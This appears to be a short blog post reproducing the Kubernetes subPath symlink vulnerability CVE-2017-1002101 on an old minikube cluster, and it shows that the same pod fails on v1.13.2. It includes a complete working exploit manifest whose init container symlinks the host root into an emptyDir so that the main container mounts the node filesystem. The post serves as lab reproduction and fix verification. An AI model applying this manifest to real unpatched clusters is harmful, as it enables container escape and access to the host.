A volume mount CVE was discovered in Kubernetes 1.9 and older which allowed access to node file system using emptyDir volume mount using subpath. The official description goes as follows:

In Kubernetes versions 1.3.x, 1.4.x, 1.5.x, 1.6.x and prior to versions 1.7.14, 1.8.9 and 1.9.4 containers using subpath volume mounts with any volume type (including non-privileged pods, subject to file permissions) can access files/directories outside of the volume, including the host’s filesystem.

Source: https://nvd.nist.gov/vuln/detail/CVE-2017-1002101

To understand the problem and re-create the CVE follow the steps in following video:

How Symlinks Pwned Kubernetes (And How We Fixed It) - Michelle Au, Google & Jan Šafránek, Red Hat

To create an older Kubernetes setup run following. You need to start older cluster on minikube(version of minikube does not matter) and need older kubectl for compatiblility reasons.

curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.9.0/bin/linux/amd64/kubectl
chmod +x ./kubectl

minikube start \
--vm-driver kvm2 \
--kubernetes-version v1.9.0 \
--cpus 3 --memory 3000  \
--extra-config=apiserver.authorization-mode=RBAC

Verify the cluster version:

$ ./kubectl get nodes
NAME       STATUS    ROLES     AGE       VERSION
minikube   Ready     master    9m        v1.9.0

This is the pod manifest used in the video:

apiVersion: v1
kind: Pod
metadata:
  creationTimestamp: null
  labels:
    run: testpod
  name: testpod
spec:
  initContainers:
  - name: init
    image: busybox
    command: ["ln", "-s", "/", "/mnt/my-volume/data1"]
    volumeMounts:
    - name: my-volume
      mountPath: /mnt/my-volume
  containers:
  - image: busybox
    imagePullPolicy: IfNotPresent
    name: testpod
    command: ["sleep", "999999"]
    volumeMounts:
    - name: my-volume
      mountPath: /mnt/my-volume
    - name: my-volume
      mountPath: /mnt/data
      subPath: data1
  volumes:
  - name: my-volume
    emptyDir:
      medium: Memory
  dnsPolicy: ClusterFirst

With above setup I could re-create the CVE successfully.

When tried on the v1.13.2 cluster the pod goes into Pending phase with status being CreateContainerConfigError and also lists the message as failed to prepare subPath for volumeMount "my-volume" of container "testpod".

$ kubectl get pods -o wide
NAME      READY   STATUS                       RESTARTS   AGE   IP          NODE   NOMINATED NODE   READINESS GATES
testpod   0/1     CreateContainerConfigError   0          24m   10.38.0.2   w1     <none>           <none>